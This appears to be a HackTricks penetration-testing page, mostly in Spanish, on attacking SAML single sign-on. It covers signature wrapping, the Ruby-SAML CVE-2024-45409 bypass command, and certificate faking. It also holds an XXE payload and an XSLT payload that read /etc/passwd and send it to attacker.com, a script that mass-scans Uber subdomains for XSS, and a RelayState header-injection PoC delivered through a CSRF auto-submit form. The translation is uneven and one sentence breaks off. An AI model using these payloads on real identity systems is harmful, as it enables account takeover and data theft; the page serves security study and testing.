SAML Ataques
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Herramienta
SAMLExtractor: Una herramienta que puede tomar una URL o una lista de URLs y devuelve la URL de consumo SAML.
XML ida y vuelta
En XML la parte firmada del XML se guarda en memoria, luego se realiza alguna codificación/decodificación y se verifica la firma. Idealmente esa codificación/decodificación no debería cambiar los datos pero, basado en ese escenario, los datos que se comprueban y los datos originales podrían no ser los mismos.
Por ejemplo, comprueba el siguiente código:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Ejecutar el programa contra REXML 3.2.4 o versiones anteriores produciría la siguiente salida en su lugar:
First child in original doc: Y
First child after round-trip: Z
This is how REXML saw the original XML document from the program above:
.png)
And this is how it saw it after a round of parsing and serialization:
.png)
For more information about the vulnerability and how to abuse it:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.
The following attacks ara based on this blog post y this paper. So check those for further details.
XSW #1
- Estrategia: A new root element containing the signature is added.
- Implicación: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.
.png)
XSW #2
- Diferencia con XSW #1: Utilizes a detached signature instead of an enveloping signature.
- Implicación: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.
.png)
XSW #3
- Estrategia: An evil Assertion is crafted at the same hierarchical level as the original assertion.
- Implicación: Intends to confuse the business logic into using the malicious data.
.png)
XSW #4
- Diferencia con XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
- Implicación: Similar to XSW #3 but alters the XML structure more aggressively.
.png)
XSW #5
- Aspecto único: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
- Implicación: The copied Assertion envelopes the Signature, modifying the expected document structure.
.png)
XSW #6
- Estrategia: Similar location insertion as XSW #4 and #5, but with a twist.
- Implicación: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
.png)
XSW #7
- Estrategia: An Extensions element is inserted with the copied Assertion as a child.
- Implicación: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
.png)
XSW #8
- Diferencia con XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
- Implicación: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
.png)
Tool
You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.
Ruby-SAML signature verification bypass (CVE-2024-45409)
Impact: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain any IdP-signed SAMLResponse can forge a new assertion and authenticate as arbitrary users.
Flujo de alto nivel (bypass estilo signature-wrapping):
- Captura una legítima SAMLResponse en el POST SSO (Burp o devtools del navegador). Solo necesitas cualquier respuesta firmada por el IdP para el SP objetivo.
- Decodifica la codificación de transporte a XML crudo (orden típico): URL decode → Base64 decode → raw inflate.
- Usa un PoC (por ejemplo, el script de Synacktiv) para patch IDs/NameID/conditions y rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
- Vuelve a codificar el XML parcheado (raw deflate → Base64 → URL encode) y reenvíalo al SAML callback endpoint. Si tiene éxito, el SP te autentica como el usuario elegido.
Example using the Synacktiv PoC (input is the captured SAMLResponse blob):
python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64
XXE
Si no sabes qué tipo de ataques son XXE, por favor lee la siguiente página:
XXE - XEE - XML External Entity
SAML Responses son deflated and base64 encoded XML documents y pueden ser susceptibles a ataques XML External Entity (XXE). Al manipular la estructura XML de la SAML Response, los atacantes pueden intentar explotar vulnerabilidades XXE. Así es como se puede visualizar tal ataque:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Herramientas
También puedes usar la extensión de Burp SAML Raider para generar el POC a partir de una petición SAML para probar posibles vulnerabilidades XXE y vulnerabilidades SAML.
Revisa también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT vía SAML
Para más información sobre XSLT consulta:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Transformaciones de Hojas de Estilo Extensibles (XSLT) se pueden usar para transformar documentos XML a varios formatos como HTML, JSON o PDF. Es crucial señalar que las transformaciones XSLT se realizan antes de la verificación de la firma digital. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder.
Aquí puedes encontrar un POC para comprobar este tipo de vulnerabilidades; en la página de hacktricks mencionada al principio de esta sección puedes encontrar payloads.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Herramienta
También puedes usar la extensión de Burp SAML Raider para generar el POC desde una SAML request y probar posibles vulnerabilidades XSLT.
Revisa también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
La XML Signature Exclusion observa el comportamiento de las implementaciones SAML cuando el Signature element no está presente. Si este elemento falta, signature validation may not occur, lo que lo hace vulnerable. Es posible probar esto alterando los contenidos que normalmente verifica la signature.
.png)
Herramienta
También puedes usar la extensión de Burp SAML Raider. Intercepta la SAML Response y haz clic en Remove Signatures. Al hacerlo se eliminan todos los Signature elements.
Con las firmas eliminadas, permite que la request proceda al objetivo. Si la Signature no es requerida por el Service
Certificate Faking
Certificate Faking
Certificate Faking es una técnica para comprobar si un Service Provider (SP) verifica correctamente que un SAML Message esté firmado por un trusted Identity Provider (IdP). Consiste en usar un *self-signed certificate para firmar la SAML Response o la Assertion, lo cual ayuda a evaluar el proceso de validación de confianza entre SP e IdP.
Cómo llevar a cabo Certificate Faking
Los siguientes pasos describen el proceso usando la extensión de Burp SAML Raider:
- Intercepta la SAML Response.
- Si la response contiene una signature, envía el certificado a SAML Raider Certs usando el botón
Send Certificate to SAML Raider Certs. - En la pestaña SAML Raider Certificates, selecciona el certificado importado y pulsa
Save and Self-Signpara crear un clon self-signed del certificado original. - Vuelve a la request interceptada en Burp’s Proxy. Selecciona el nuevo self-signed certificate en el desplegable XML Signature.
- Elimina cualquier firma existente con el botón
Remove Signatures. - Firma el message o la assertion con el nuevo certificado usando el botón
(Re-)Sign Messageo(Re-)Sign Assertion, según corresponda. - Reenvía el mensaje firmado. Si la autenticación tiene éxito, indica que el SP acepta messages firmados por tu certificado self-signed, revelando posibles vulnerabilidades en el proceso de validación de los SAML messages.
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion y Service Provider Target Confusion consisten en comprobar si el Service Provider valida correctamente el destinatario previsto de una response. En esencia, un Service Provider debería rechazar una authentication response si estaba destinada a otro provider. El elemento crítico aquí es el campo Recipient, ubicado dentro del elemento SubjectConfirmationData de una SAML Response. Este campo especifica una URL que indica dónde debe enviarse la Assertion. Si el destinatario real no coincide con el Service Provider previsto, la Assertion debería considerarse inválida.
Cómo funciona
Para que un ataque SAML Token Recipient Confusion (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe existir una cuenta válida en un Service Provider (denominado SP-Legit). En segundo lugar, el Service Provider objetivo (SP-Target) debe aceptar tokens del mismo Identity Provider que sirve a SP-Legit.
El proceso de ataque es sencillo bajo estas condiciones. Se inicia una sesión auténtica con SP-Legit a través del Identity Provider compartido. Se intercepta la SAML Response del Identity Provider hacia SP-Legit. Esta SAML Response interceptada, originalmente destinada a SP-Legit, se redirige entonces a SP-Target. El éxito del ataque se mide por la aceptación de la Assertion por parte de SP-Target, lo que otorga acceso a recursos bajo el mismo nombre de cuenta usado en SP-Legit.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS en la funcionalidad de logout
La investigación original puede consultarse a través de this link.
Durante el proceso de directory brute forcing, se descubrió una página de logout en:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Al acceder a este enlace, se produjo una redirección a:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
Esto reveló que el parámetro base acepta una URL. Teniendo esto en cuenta, surgió la idea de sustituir la URL por javascript:alert(123); en un intento de iniciar un ataque XSS (Cross-Site Scripting).
Explotación masiva
La herramienta SAMLExtractor se utilizó para analizar subdominios de uberinternal.com en busca de dominios que utilicen la misma biblioteca. Posteriormente se desarrolló un script para apuntar a la página oidauth/prompt. Este script prueba XSS (Cross-Site Scripting) introduciendo datos y comprobando si se reflejan en la salida. En los casos en que la entrada efectivamente se refleja, el script marca la página como vulnerable.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
RelayState-based header/body injection to rXSS
Algunos endpoints SAML SSO decodifican RelayState y luego lo reflejan en la respuesta sin sanitización. Si puedes inyectar newlines y sobrescribir el Content-Type de la respuesta, puedes forzar al navegador a renderizar HTML controlado por el atacante, logrando reflected XSS.
- Idea: abusa de response-splitting vía newline injection en el RelayState reflejado. Véase también las notas genéricas en CRLF injection.
- Funciona incluso cuando RelayState se decodifica en base64 del lado del servidor: suministra un base64 que decodifica en header/body injection.
Generalized steps:
- Construye una secuencia de header/body injection que empiece con un newline, sobrescriba el
Content-Typea HTML, y luego inyecte el payload HTML/JS:
Concept:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- URL-encode la secuencia (ejemplo):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- Codifica en base64 esa cadena URL-encoded y colócala en
RelayState.
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- Envía un POST con un
SAMLResponsesintácticamente válido y elRelayStatemanipulado al endpoint SSO (p. ej.,/cgi/logout). - Entrega vía CSRF: hospeda una página que autoenvíe un POST cross-origin al origen objetivo incluyendo ambos campos.
PoC contra un endpoint SSO de NetScaler (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
Patrón de entrega de CSRF:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
Por qué funciona: el servidor decodifica RelayState e incorpora esto en la respuesta de una manera que permite newline injection, permitiendo al attacker influir en los headers y el body. Forzar Content-Type: text/html hace que el browser renderice el HTML controlado por el attacker desde el body de la respuesta.
Referencias
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
- https://0xdf.gitlab.io/2026/03/03/htb-barrier.html
- https://github.com/synacktiv/CVE-2024-45409
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


